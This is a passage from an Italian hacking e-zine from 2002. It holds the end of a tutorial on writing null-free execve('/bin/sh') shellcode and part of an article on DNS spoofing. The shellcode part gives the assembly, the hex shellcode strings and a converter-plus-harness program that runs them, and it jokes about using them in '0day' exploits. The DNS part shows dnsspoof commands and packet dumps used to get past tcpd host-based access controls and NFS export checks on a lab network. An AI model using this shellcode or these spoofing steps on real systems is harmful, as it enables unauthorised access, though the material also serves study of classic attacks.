| | (gdb) | | 0x80483d4 : 0x0b | | (gdb) | | 0x80483d5 : 0x00 <-- bisogna rimediare anche qui | | (gdb) | | 0x80483d6 : 0x00 | | (gdb) | | 0x80483d6 : 0x00 | | (gdb) | | 0x80483d7 : 0x00 | | (gdb) | | 0x80483d8 : 0xcd | | (gdb) | | 0x80483d9 : 0x80 | | (gdb) | | 0x80483da : 0xe8 | | (gdb) | | 0x80483db : 0xfe | | (gdb) | | 0x80483dc : 0x7b | | (gdb) | | 0x80483dd : 0xfb | | (gdb) | | 0x80483de : 0xf7 | | (gdb) | | 0x80483df : 0x2f | | (gdb) | | 0x80483e0 : 0x62 | | (gdb) | | 0x80483e1 : 0x69 | | (gdb) | | 0x80483e2 : 0x6e | | (gdb) | | 0x80483e3 : 0x2f | | (gdb) | | 0x80483e4 : 0x73 | | (gdb) | | 0x80483e5 : 0x68 | | | | Bisogna ottimizzare il codice assembler, eliminando gli zeri. | | | | Le istruzione incriminate sono le seguenti: | | | | movb $0x0,0x7(%esi) | | movl $0x0,0xc(%esi) | | movl $0xb,$eax | | | | Ma se dobbiamo utilizzare lo zero, per esempio per azzerare un | | registro ? Chi programma in assembler sa che in genere per azzerare i | | registri non si usa mov $0x0, %eax; al suo posto si puo' utilizzare | | xorl %eax,%eax. L'or-esclusivo (xor) del registro con se stesso da | | come risultato zero. Infatti, se seguiamo le regole dell'operatore | | logico xor | | | | 1 e 1 = 0 | | 1 e 0 = 1 | | 0 e 1 = 1 | | 0 e 0 = 0 | | | | e le applichiamo al seguente caso: | | | | 10010110 xor 10010110 | | otteniamo | | | | 10010110 xor | | 10010110 | | -------- | | 00000000 | | | | Lo xor di un numero con se stesso da come risultato 0. | | | | Quindi, inseriamo la linea | | | | xorl %eax,%eax | | | | ed effettuiamo le mov necessarie: | | | | movb %al,0x7(%esi) | | movl %eax,0xc(%esi) | | | | Infine cambiamo un opcode. Al posto di | | movl $0xb,$eax | | | | mettiamo | | movb $0xb,%al | | | | La differenza tra i due opcode e' che il primo coinvolge tutto il | | registro eax, mentre il secondo solo la parte bassa di eax, ovvero | | "al" il "registrino" a 8 bit "contenuto" in eax. | | Mettere il valore "0xb" (ovvero il cocide di execve) in "al" prima | | di chiamare int 80 e' il nostro scopo, quindi questa soluzione ci | | andra' benissimo. | | | | In alternativa a xor, si potrebbe usare l'istruzione sub. Per esempio | | sub eax,eax ottiene l'effetto di azzerare il registro. | | | | Ora il nostro shellcode avra' questo aspetto: | | | | shell2.c | | void main(){ | | __asm__("jmp fine \n" | | "inizio: popl %esi \n" | | "movl %esi,0x8(%esi) \n" | | "xorl %eax,%eax \n" | | "movb %al,0x7(%esi) \n" | | "movl %eax,0xc(%esi) \n" | | "movl %esi,%ebx \n" | | "leal 0x8(%esi),%ecx \n" | | "leal 0xc(%esi),%edx \n" | | "movb $0xb,%al \n" | | "int $0x80 \n" | | "fine: call inizio \n" | | ".string \"/bin/sh\" \n"); | | } | | | | | | Compiliamolo con gcc shell2.c -o shell2 e lanciamo gdb | | | | gdb shell2 | | | | Analizzando il nostro codice con xb/x non troveremo zeri ;) | | | | | | 4.2 La Via della Mano Destra | | ----------------------------- | | In tutti gli exploit noi vediamo lo shellcode in questa forma: | | | | char c0de[]= | | "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" | | "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" | | "\x62\x69\x6e\x2f\x73\x68"; | | | | L'ultima nostra fatica sara' quella di convertire il codice macchina | | in stringhe contenenti codice esadecimale da inserire nell'exploit | | stesso. | | | | Le vie sono 2: | | 1. a manina | | 2. usando un programma | | | | Se siamo masochisti useremo la via dei folli, ovvero la Via della Mano | | Sinistra, la prima. | | | | Compiliamo il nostro codicillo, entriamo in gdb, scandagliamo il | | codice e lo copiamo a mano, ovvero: | | | | gcc shell2.c -o shell2 | | gdb shell2 | | | | (gdb) xb/x main+3 (saltiamo il preambolo che non ci serve) | | | | 0x80483c3 : 0xeb | | (gdb) | | 0x80483c4 : 0x18 | | (gdb) | | 0x80483c5 : 0x5e | | (gdb) | | 0x80483c6 : 0x89 | | (gdb) | | ... | | ... | | ... | | | | Prendiamo 0xeb e lo copiamo, prendiamo 0x18 e lo copiamo... | | | | In alternativa possiamo usare la Via della Mano Destra, la via | | contemplativa: facciamo un programmino. Anzi, quei santi ragazzi dei | | teso hanno gia' provveduto. Lo scriptino allegato fa al caso nostro. | | | | 8<---outp.c | | #include | | /* | | convert .s to shellcode. typo/teso (typo@inferno.tusculum.edu) | | $ cat lala.s | | .globl cbegin | | .globl cend | | cbegin: | | xorl %eax, %eax | | ... | | cend: | | $ gcc -Wall lala.s outp.c -o lala | | $ ./lala | | unsigned char shellcode[] = | | "\x31\xc0\x31\xdb\x31\xc9\xb3\x0f\xb1\x0f\xb0\x47\xcd\x80\xeb\x1e\x5b" | | "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c" | | "\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff" | | "\x2f\x74\x6d\x70\x2f\x74\x73\x74\x65\x73\x6f\x63\x72\x65\x77\x21\x21"; | | ... | | */ | | extern void cbegin(); | | extern void cend(); | | int main() { | | char *buf = (char *) cbegin; | | int i = 0, x = 0; | | printf("unsigned char shellcode[] = \n\""); | | for (; (*buf) && (buf < (char *) cend); buf++) { | | if (i++ == 17) i = 1; | | if (i == 1 && x != 0) printf("\"\n\""); | | x = 1; | | printf("\\x%02x", (unsigned char) *buf); | | } | | printf("\";\n");p | | printf("int main() {void (*f)();f = (void *) shellcode; | | printf(\"%%d\\n\",strlen(shellcode));f();}"); | | return(0); | | } | | 8<--- | | | | L'uso e' semplicissimo. | | Compiliamo la nostra shellcode con -S per produrre il listato | | assembler e quindi compiliamo il prodotto con outp.c dei teso: | | | | gcc shell2.c -S | | gcc shell2.s outp.c -o codicillo | | | | eseguendo il programma cosi' ottenuto (ovvero "codicillo") si otterra' | | la shellcode in formato stringa/hex e una funzione per testarla. | | Cosi' per interderci: | | | | unsigned char shellcode[] = | | "\xeb\x20\x5e\x89\x76\x08\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xc0\x89" | | "\x46\x0c\x88\x46\x07\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" | | "\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; | | | | int main() { | | | | void (*f)(); | | | | f = (void *) shellcode; | | printf("%d\n", strlen(shellcode)); | | f(); | | | | } | | | | Se funziona, potra' essere distribuita o utilizzata nei nostri | | meravigliosi 0day | | :))) | | | | ./codicillo > mioshellcode.c | | | | gcc mioshellcode.c -o mioshellcode | | ./mioshellcode. | | | | Attenzione: il codice dei teso prevede la presenza di due label | | "cbegin:" e "cend:" prima della shellcode e subito dopo; inoltre | | otterrete un errore se utilizzerete il nome "main" per la funzione | | della shellcode: sostituitelo con "cmain" e tutto dovrebbe funzionare. | | | | | | 5. Conclusione | | ------------------------------------------------------------------------ | | Nessuno si illuda. Una volta acquisiti i concetti qui espressi non si | | diventa automaticamente "hacker". Queste conoscenze rappresentano il | | know-how di base per chi vuole intraprendere la strada della nobile | | arte hackeresca. | | | | Questi sono argomenti gia' conosciuti, triti e ritriti, quasi banali | | dal punto di vista dell'hacking. La via del cracker di professione o | | dell'ethical hacker e' assai lunga e complicata: questo e' solo | | l'inizio. | | | | Lo shellcode che abbiamo visto e' molto semplice (ma efficace). In | | realta' spesso cio' non basta. Potremmo aver bisogno di bindare la | | shell sul tcp, droppare la rootshell in /tmp, aprire una sessione | | telnet inversa... Il limite e' dato dalla fantasia e dall'abilita'. | | | | Inoltre bisogna considerare la presenza di IDS. Esistono tecniche che | | permettono di "beffarli". Su un vecchio numero di phrack e' stato | | presentato un compilatore di shellcode che permette di trasformare il | | codice prodotto utilizzando solo caratteri stampabibli. | | | | Questo articolo ha cercato di spiegare alcuni concetti che forse erano | | ancora oscuri a molti, e ha voluto far intravedere ad altri la | | meraviglia dell'arcana programmazione in assembler. Forse qualcuno | | abbandonera' i trojan o gli scriptz e cerchera' finalmente di capire | | che cosa sta facendo... | | | | | | 6. Fonti | | ------------------------------------------------------------------------ | | "Smashing The Stack For Fun And Profit", Aleph1 | | "Introduction to Buffer Overflow", Ghost_Rider | | "The Art of Writing Shellcode", smiler | | "How to write Buffer Overflows", mudge | | "outp.c", typo/teso | | "Il manuale 80386". (McGrwaHill) llC.H. Pappas, W.H. Murray III | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #06 - 25/04/2002 | | DNS SP00F ATTACK [E4zy] 0x06/0x1D | +--------------------------------------------------------------------------+ | | | 1. Introduzione | | | | 2. DNS Query & Reply | | | | 3. Dnsspoof | | 3.1 Sintassi | | 3.2 Esempio | | | | 4. TCP Wrapper | | 4.1 Tcpd bypass | | | | 5. NFS Service | | 5.1 NFS server bypass | | 5.2 Exportfs | | 5.3 NFS client bypass | | | | 6. Contromisure | | | | 7. Risorse | | | | | | | | 1. Introduzione | | Bind (Berkeley Internet Name Domain) è la più comune implementazione del | | protocollo DNS nei sistemi Unix like, named è il nome del demone | | responsabile della risoluzione dei nomi di dominio e sarà proprio di | | esso che ci serviremo per applicare quanto spiegato nel corso di questo | | articolo. | | La strada di Bind e dei servizi DNS in generale è costellata di falle | | nella sicurezza, talvolta queste derivano dal demone ma altre volte da | | vulnerabilità insite negli stessi protocolli di rete. Il caso del DNS | | spoofing in particolare ricade nella seconda categoria e per tale motivo | | risulta indipendente dal programma demone e dal sistema operativo. | | | | 2. DNS Query & Reply | | Gli hostname risultano più gradevoli e più facilmente memorizzabili alla | | maggior parte della gente che usufruisce dei servizi offerti dalla Rete, | | pertanto è necessario un servizio in grado di fornire una relazione tra | | gli hostname e gli indirizzi IP presenti su Internet, questa funzione è | | svolta egregiamente dai server DNS. | | I resolver, ovvero i programmi che generano le interrogazioni verso un | | NS (NameServer), si avvalgono del protocollo UDP notoriamente insicuro | | in quanto non garantisce l'avvenuta ricezione del pacchetto da parte | | dell'host destinatario (non confermato) e non stabilisce una connessione | | (non connesso), dando modo ad un malintenzionato di ledere alla | | sicurezza della sessione stessa. | | Una query DNS (interrogazione) può essere intercettata da un host remoto | | malevolo il quale spoofando il source address del pacchetto IP può | | inviare una risposta al mittente come se provenisse dal server DNS, la | | DNS reply conterrà informazioni atte all'alterazione della sessione che | | il mittente della query si appresta ad intraprendere. | | Naturalmente questa tecnica avrà successo solo nel caso in cui la | | risposta fasulla dovesse giungere a destinazione prima della reply | | legittima proveniente dal NS che verrebbe di conseguenza ignorata. | | | | 3. Dnsspoof | | Dnsspoof fa parte del pacchetto Dsniff reperibile all'indirizzo | | http://www.monkey.org/~dugsong/dsniff, questo è anche il nome del tool | | che utilizzerò durante la trattazione di questo articolo per illustrare | | le modalità con cui un attacker ha la possibilità di portare a termine | | con successo un attacco di DNS spoofing contro la nostra macchina. | | L'ambiente ideale per mettere in atto questa tecnica è rappresentato da | | una rete locale NON commutata(1) che agevola lo sniffing del traffico | | inoltrando i pacchetti a tutti gli host che la popolano, ad esempio una | | rete dotata di HUB. | | | | (1)commutata: in cui vi è la presenza di dispositivi di rete quali | | switch che dividono la rete in diversi segmenti tra loro indipendenti, i | | pacchetti vengono inoltrati ad uno solo dei segmenti di rete popolati da | | un numero limitato di host. | | | | 3.1 Sintassi | | Usage: dnsspoof [-i interface] [-f hostsfile] [expression] | | dove: | | -i interface | | rappresenta l'interfaccia di rete sulla quale si desidera | | rimanere in ascolto | | | | -f hostsfile | | permette di specificare il percorso del file contenente le | | associazioni IP/hostname che si desidera spoofare, esempio: | | | | 192.168.1.1 trust.dominio.it | | | | in questo modo qualsiasi query che cerchi di risolvere il | | nome host trust.dominio.it riceverà una reply fasulla con | | l'IP 192.168.1.1, la stessa cosa vale per le operazioni di | | lookup | | | | expression | | permette di specificare delle espressioni al fine di filtrare | | in modo selettivo i pacchetti da sniffare | | | | 3.2 Esempio | | Quello che segue è un semplice esempio che ha lo scopo di illustrare il | | funzionamento di Dnsspoof prima di addentrarci nell'analisi degli | | attacchi veri e propri alle risorse di rete: | | | | attacker@attack:~$ host trust | | trust.linuxbox.com. has address 192.168.1.6 | | | | Il comando host ci permette di interrogare il nostro server DNS primario | | il cui indirizzo IP è contenuto all'interno del file /etc/resolv.conf, | | nell'esempio il server DNS restituisce come risposta l'IP effettivo | | dell'host che risponde all'hostname trust.linuxbox.com. | | Ora proviamo ad eseguire il programma Dnsspoof in questo modo: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt udp dst port 53 | | dnsspoof: listening on eth0 [udp dst port 53] | | | | dove il file hosts.txt che si trova nella directory ~ (home) dell'utente | | contiene le relazioni IP/hostname che si desidera spoofare, in questo | | esempio: | | | | 192.168.1.4 trust.linuxbox.com | | | | l'espressione "udp dst port 53" specifica che il programma si limiti a | | sniffare i soli pacchetti UDP destinati alla porta 53, ovvero la porta | | adibita alle query DNS. | | Ora ripetiamo il comando host utilizzato in precedenza e se tutto è | | andato come previsto noteremo con sorpresa che l'oputput del comando è | | cambiato e l'IP restituito dall'interrogazione è lo stesso che abbiamo | | fornito come input al programma Dnsspoof: | | | | attacker@attack:~$ host trust | | trust.linuxbox.com. has address 192.168.1.4 | | | | Ecco l'output di Dnsspoof: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt udp dst port 53 | | dnsspoof: listening on eth0 [udp dst port 53] | | 192.168.1.4.1079 > 192.168.1.5.53: 34196+ A? trust.linuxbox.com | | | | Ma cosa è successo realmente? E' presto detto. | | Come si può notare poche righe più sopra, Dnsspoof ha sniffato una query | | proveniente dal nostro stesso host che rispondeva ai criteri specificati | | e ha anticipato la risposta del NS rispondendo in sua vece e fornendo un | | indirizzo IP fasullo. | | | | 4. TCP Wrapper | | Tcpd, conosciuto anche con il nome di Tcp wrapper, è un demone che come | | molti altri programmi fa affidamento al servizio DNS per risolvere i | | nomi host che interessano tale processo. E' proprio questa eccessiva | | fiducia che rende tale strumento del tutto insicuro se viene utilizzato | | in maniera errata. | | Lo scopo di tcpd è quello di monitorare la provenienza delle richieste | | inoltrate dall'esterno della rete e consentire o meno l'accesso a | | determinati servizi sulla base di liste di controllo degli accessi | | rappresentate rispettivamente dai file /etc/hosts.allow e | | /etc/hosts.deny | | Esso può essere tratto in inganno qualora facesse affidamento a un | | server DNS remoto per la risoluzione degli hostname presenti nelle liste | | di controllo degli accessi. | | | | 4.1 Tcpd bypass | | Un possibile scenario d'attacco è rappresentato da una rete locale con | | le seguenti specifiche: | | | | Hostname Indirizzi IP Descrizione | | | | attack.linuxbox.com 192.168.1.4 l'host dell'attacker | | dns.linuxbox.com 192.168.1.5 il server DNS | | trust.linuxbox.com 192.168.1.6 il sistema "fidato" | | victim.linuxbox.com 192.168.1.7 il server che utilizza tcpd | | | | La tecnica che mi appresto a descrivere è resa possibile da un uso | | improprio delle liste di accesso hosts.allow e hosts.deny, come potremo | | vedere in seguito è caldamente sconsigliato l'utilizzo di hostname come | | entry per questi file. | | | | /etc/hosts.allow: | | ALL:trust.linuxbox.com | | | | /etc/hosts.deny: | | ALL:ALL | | | | Il file hosts.allow permette l'accesso a tutti i servizi (ALL) purchè la | | richiesta provenga dal sistema trust.linuxbox.com, il file hosts.deny | | rifiuta quasiasi accesso non sia esplicitamente indicato nel file | | hosts.allow. | | | | Ecco cosa accade se cerchiamo di connetterci a victim dall'host attack, | | il quale da quanto specificato nelle access list non è autorizzato a | | stabilire una connessione: | | | | attacker@attack:~$ telnet 192.168.1.7 23 | | Trying 192.168.1.7... | | Connected to 192.168.1.7. | | Escape character is '^]'. | | Connection closed by foreign host. | | | | Il tentativo di connessione è scongiurato da tcpd! | | Qui di seguito l'output di Snort ci aiuta a capire cos'è successo e ci | | permette di fare alcune riflessioni, ogni pacchetto è commentato nei | | minimi dettagli al fine di rendere più semplice la comprensione: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/18-20:05:13.455540 192.168.1.7:1026 -> 192.168.1.5:53 | | UDP TTL:209 TOS:0x0 ID:26910 IpLen:20 DgmLen:70 DF | | Len: 50 | | 9D FA 01 00 00 01 00 00 00 00 00 00 01 34 01 31 .............4.1 | | 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr | | 04 61 72 70 61 00 00 0C 00 01 .arpa..... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | L'host con IP 192.168.1.7 (victim), una volta contattato dall'host | | attack che desidera connettersi, controlla la propria lista di accesso | | alla ricerca di un IP/hostname che corrisponda a quello del sistema | | richiedente ovvero 192.168.1.4 (attack), la prima voce che trova è | | relativa all'hostname trust.linuxbox.com, a questo punto a victim non | | resta che risolvere l'IP di cui è in possesso (192.168.1.4) nel | | rispettivo hostname al fine di verificarne un'eventuale corrispondenza. | | Pertanto si rende necessaria un'interrogazione al server DNS e qualora | | l'hostname ottenuto dovesse risultare pari a quello presente in | | hosts.allow l'accesso alle risorse sarà consentito. | | | | 02/18-20:05:13.456022 192.168.1.5:53 -> 192.168.1.7:1026 | | UDP TTL:64 TOS:0x0 ID:119 IpLen:20 DgmLen:137 | | Len: 117 | | 9D FA 85 80 00 01 00 01 00 01 00 01 01 34 01 31 .............4.1 | | 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr | | 04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 .arpa........... | | 00 01 51 80 00 15 06 61 74 74 61 63 6B 08 6C 69 ..Q....attack.li | | 6E 75 78 62 6F 78 03 63 6F 6D 00 C0 0E 00 02 00 nuxbox.com...... | | 01 00 01 51 80 00 06 03 64 6E 73 C0 3D C0 57 00 ...Q....dns.=.W. | | 01 00 01 00 01 51 80 00 04 C0 A8 01 05 .....Q....... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Il server DNS risponde a 192.168.1.7 (victim) dicendo che l'hostname | | relativo all'IP del richiedente (192.168.1.4) risulta essere | | attack.linuxbox.com che è palesemente diverso da trust.linuxbox.com. | | | | 02/18-20:05:13.469858 192.168.1.7:1026 -> 192.168.1.5:53 | | UDP TTL:219 TOS:0x0 ID:29268 IpLen:20 DgmLen:65 DF | | Len: 45 | | 9D FB 01 00 00 01 00 00 00 00 00 00 06 61 74 74 .............att | | 61 63 6B 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D ack.linuxbox.com | | 00 00 01 00 01 ..... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | A questo punto victim fa un'ulteriore richista al fine di risolvere il | | nome host ottenuto in precedenza dal lookup di 192.168.1.4 | | (attack.linuxbox.com) nuovamente nell'indirizzo IP per una maggiore | | garanzia. | | | | 02/18-20:05:13.470293 192.168.1.5:53 -> 192.168.1.7:1026 | | UDP TTL:64 TOS:0x0 ID:120 IpLen:20 DgmLen:115 | | Len: 95 | | 9D FB 85 80 00 01 00 01 00 01 00 01 06 61 74 74 .............att | | 61 63 6B 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D ack.linuxbox.com | | 00 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 .............Q.. | | 04 C0 A8 01 04 C0 13 00 02 00 01 00 01 51 80 00 .............Q.. | | 06 03 64 6E 73 C0 13 C0 41 00 01 00 01 00 01 51 ..dns...A......Q | | 80 00 04 C0 A8 01 05 ....... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | L'IP restituito è nuovamente quello di attack ovvero 192.168.1.4. | | La connessione è perciò inibita dal tcp wrapper che non trova alcuna | | rispondenza tra l'hostname restituito dal resolver (attack.linuxbox.com) | | e le voci contenute nelle liste di controllo. | | | | Come può un malintenzionato aggirare tali restrizioni d'accesso? | | Usando la tecnica del DNS spoofing naturalmente! | | | | Torniamo al nostro esempio, ovvero stessi IP/hostname dello scenario d' | | attacco precedente, il nostro attacker potrà operare come segue al fine | | di ottenere un accesso non consentito al sistema victim: | | | | attacker@attack:~# echo "192.168.1.4 trust.linuxbox.com" > ~/hosts.txt | | attacker@attack:~# cat ~/hosts.txt | | 192.168.1.4 trust.linuxbox.com | | | | In questo modo abbiamo creato il file hosts.txt nella dir ~ (home) dell' | | utente sul sistema attack, sarà lo stesso file che utilizzeremo come | | input per il programma Dnsspoof. | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | | | Ora Dnsspoof è in ascolto in attesa di qualsiasi DNS query il cui source | | address non corrisponda al nostro. Non vogliamo spoofare le query che | | effettuamo noi vero? :) | | | | A questo punto non resta che stabilire una connessione con l'host victim | | che come vedete adesso accetta la nostra richiesta e ci da accesso: | | | | attacker@attack:~$ telnet 192.168.1.7 23 | | Trying 192.168.1.7... | | Connected to 192.168.1.7. | | Escape character is '^]'. | | | | victim login: | | | | Cosa è successo? | | Non siamo l'host trust eppure ci ha permesso di connetterci in quanto | | gli abbiamo fatto credere di esserlo! | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | 192.168.1.7.1026 > 192.168.1.5.53: 53493+ PTR? 4.1.168.192.in-addr.arpa | | 192.168.1.7.1026 > 192.168.1.5.53: 53494+ A? trust.linuxbox.com | | | | Come si può vedere dall'output di Dnsspoof le query rivolte al DNS sono | | state tempestivamente intercettate e il programma ha provveduto a | | fornire ad esse una risposta come da noi richiesto e come se | | provenissero realmente dal server DNS, questo ha dato modo al demone | | tcpd di credere che l'hostname associato all'IP del richiedente | | (192.168.1.4) fosse proprio trust.linuxbox.com il quale risulta | | autorizzato. | | Vediamo ora l'output di Snort che ci permette di scattare un'istantanea | | di quanto è avvenuto, ho provveduto a fornire i commenti dove l'ho | | ritenuto necessario: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/18-19:50:43.511279 192.168.1.7:1026 -> 192.168.1.5:53 | | UDP TTL:106 TOS:0x0 ID:36520 IpLen:20 DgmLen:70 DF | | Len: 50 | | D0 F5 01 00 00 01 00 00 00 00 00 00 01 34 01 31 .............4.1 | | 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr | | 04 61 72 70 61 00 00 0C 00 01 .arpa..... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Victim chiede al server DNS a che hostname corrisponde l'IP address | | 192.168.1.4 per poter fare un confronto tra l'hostname del richiedente e | | l'hostname contenuto in hosts.allow ovvero trust.linuxbox.com. | | | | 02/18-19:50:43.511764 192.168.1.5:53 -> 192.168.1.7:1026 | | UDP TTL:64 TOS:0x0 ID:102 IpLen:20 DgmLen:137 | | Len: 117 | | D0 F5 85 80 00 01 00 01 00 01 00 01 01 34 01 31 .............4.1 | | 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr | | 04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 .arpa........... | | 00 01 51 80 00 15 06 61 74 74 61 63 6B 08 6C 69 ..Q....attack.li | | 6E 75 78 62 6F 78 03 63 6F 6D 00 C0 0E 00 02 00 nuxbox.com...... | | 01 00 01 51 80 00 06 03 64 6E 73 C0 3D C0 57 00 ...Q....dns.=.W. | | 01 00 01 00 01 51 80 00 04 C0 A8 01 05 .....Q....... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | La risposta a tale query contiene l'hostname reale dell'host 192.168.1.4 | | ma quest'ultima ARRIVA DOPO la risposta fasulla fornita da Dnsspoof e | | pertanto viene ignorata. | | | | 02/18-19:50:43.514447 192.168.1.7:1026 -> 192.168.1.5:53 | | UDP TTL:149 TOS:0x0 ID:44934 IpLen:20 DgmLen:64 DF | | Len: 44 | | D0 F6 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Victim a questo punto richiede l'IP dell'hostname ottenuto dalla query | | precedente che risulta appunto essere trust.linuxbox.com in seguito alla | | reply fasulla da parte di Dnsspoof:) | | | | 02/18-19:50:43.514866 192.168.1.5:53 -> 192.168.1.7:1026 | | UDP TTL:64 TOS:0x0 ID:103 IpLen:20 DgmLen:114 | | Len: 94 | | D0 F6 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Questa risposta sarà ricevuto solo IN SEGUITO a quella fornita dal | | programma di spoofing del DNS e sarà perciò ignorata. | | | | Alla luce di quanto detto victim crederà a tutti gli effetti di avere a | | che fare con trust.linuxbox.com e acconsentirà inconsapevolmente alla | | connessione di attack.linuxbox.com. | | | | 5. NFS Service | | I servizi NFS (Network File System) sono stati sviluppati allo scopo di | | permettere il mount di partizioni di disco remote, se mal configurato | | questo servizio può essere tratto in inganno da un utente remoto non | | autorizzato che voglia accedere alle partizioni condivise. | | NFS si serve del file /etc/exports per determinare la legittimità o meno | | delle richieste di mount remote, in tale file sono pertanto indicate le | | risorse che si desidera condividere e le macchine autorizzate ad | | accedere a tali condivisioni. | | Al momento dell'avvio dei servizi NFS il file /etc/exports viene | | processato dal comando exportfs -r che viene di norma avviato | | automaticamente dallo script di inizializzazione dei servizi. Nel qual | | caso tale file contenesse riferimenti ad hostname il sistema sarà | | costretto alla risoluzione degli stessi mediante query DNS che | | potrebbero rendere il sistema soggetto ad accessi non autorizzati. | | | | 5.1 NFS server bypass | | Come avrete avuto modo di capire la pratica comune di inserire hostname | | all'interno di liste per il controllo degli accessi espone il nostro | | sistema ad enormi rischi e andrebbe per tanto evitata. | | Ad ogni modo vediamo come un attacker possa servirsi dello spoofing del | | DNS al fine di guadagnare un accesso non autorizzato ai rami condivisi | | del nostro filesystem. | | | | Ecco un possibile scenario in cui potrebbe verificarsi un attacco alle | | risorse condivise del sistema victim operando da un ipotetico sistema | | attack, gli host in gioco sono ancora una volta quelli utilizzati nel | | corso dell'esempio precedente: | | | | Hostname Indirizzi IP Descrizione | | | | attack.linuxbox.com 192.168.1.4 l'host dell'attacker | | dns.linuxbox.com 192.168.1.5 il server DNS | | trust.linuxbox.com 192.168.1.6 il client "fidato" | | victim.linuxbox.com 192.168.1.7 il server NFS | | | | Il sistema victim.linuxbox.com si presenta configurato come segue: | | | | /etc/exports: | | /home/ftp trust.linuxbox.com(ro) | | | | Il file /etc/exports così dichiarato permette (dovrebbe permettere) | | l'accesso in sola lettura (ro) alla home directory dell'utente ftp al | | solo sistema che risponde all'hostname trust.linuxbox.com. | | | | Vediamo cosa accade durante il boot del sistema nel momento in cui lo | | script rc.nfsd (Slackware8.0) inizializza i servizi NFS: | | | | Starting NFS services: | | /usr/sbin/exportfs -r | | /usr/sbin/rpc.rquotad | | /usr/sbin/rpc.nfsd 8 | | /usr/sbin/rpc.mountd --no-nfs-version 3 | | /usr/sbin/rpc.lockd | | /usr/sbin/rpc.statd | | | | Nel preciso istante in cui lo script rc.nfsd avvia exportfs -r il file | | /etc/exports viene processato e il nome host trust.linuxbox.com viene | | risolto nel relativo indirizzo IP tramite DNS query, in tal modo in | | presenza di una richiesta di mount futura il server NFS non avrà più | | l'esigenza di interrogare il nameserver ma si avvarrà dell'IP | | memorizzato a tempo di boot per soddisfare qualsiasi richiesta. | | Pertanto il solo momento in cui i servizi NFS risultano vulnerabili allo | | spoofing del DNS è rappresentato dal momento in cui esso aggiorna la | | tabella delle condivisioni, di norma tale operazione viene svolta | | durante il boot o su richiesta dell'amministratore. | | | | L'output di Snort ci offre la possibilità di loggare i pacchetti che | | transitano durante questa operazione, ovvero quali query vengono | | inoltrate da victim verso il DNS e quali risposte riceve da | | quest'ultimo: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/20-13:18:28.241483 192.168.1.7:1072 -> 192.168.1.5:53 | | UDP TTL:120 TOS:0x0 ID:35227 IpLen:20 DgmLen:64 DF | | Len: 44 | | 4F 5D 01 00 00 01 00 00 00 00 00 00 05 74 72 75 O]...........tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Victim invia una 